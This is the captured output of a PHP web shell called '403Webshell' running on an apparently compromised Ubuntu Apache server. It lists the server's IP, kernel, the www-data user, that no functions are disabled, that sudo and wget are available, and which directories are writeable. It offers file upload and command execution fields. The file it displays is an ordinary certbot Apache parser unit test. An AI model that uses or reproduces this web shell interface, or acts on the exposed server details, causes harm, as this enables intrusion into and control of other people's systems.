403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.163
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/certbot_apache/_internal/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/certbot_apache/_internal/tests/parsernode_configurator_test.py
"""Tests for ApacheConfigurator for AugeasParserNode classes"""
import sys
import unittest
from unittest import mock

import pytest

from certbot_apache._internal.tests import util

try:
    import apacheconfig
    HAS_APACHECONFIG = True
except ImportError:  # pragma: no cover
    HAS_APACHECONFIG = False


@unittest.skipIf(not HAS_APACHECONFIG, reason='Tests require apacheconfig dependency')
class ConfiguratorParserNodeTest(util.ApacheTest):  # pylint: disable=too-many-public-methods
    """Test AugeasParserNode using available test configurations"""

    def setUp(self):  # pylint: disable=arguments-differ
        super().setUp()

        self.config = util.get_apache_configurator(
            self.config_path, self.vhost_path, self.config_dir,
            self.work_dir, use_parsernode=True)
        self.vh_truth = util.get_vh_truth(
            self.temp_dir, "debian_apache_2_4/multiple_vhosts")

    def test_parsernode_get_vhosts(self):
        self.config.USE_PARSERNODE = True
        vhosts = self.config.get_virtual_hosts()
        # Legacy get_virtual_hosts() do not set the node
        assert vhosts[0].node is not None

    def test_parsernode_get_vhosts_mismatch(self):
        vhosts = self.config.get_virtual_hosts_v2()
        # One of the returned VirtualHost objects differs
        vhosts[0].name = "IdidntExpectThat"
        self.config.get_virtual_hosts_v2 = mock.MagicMock(return_value=vhosts)
        with pytest.raises(AssertionError):
            _ = self.config.get_virtual_hosts()


if __name__ == "__main__":
    sys.exit(pytest.main(sys.argv[1:] + [__file__]))  # pragma: no cover

Youez - 2016 - github.com/yon3zu
LinuXploit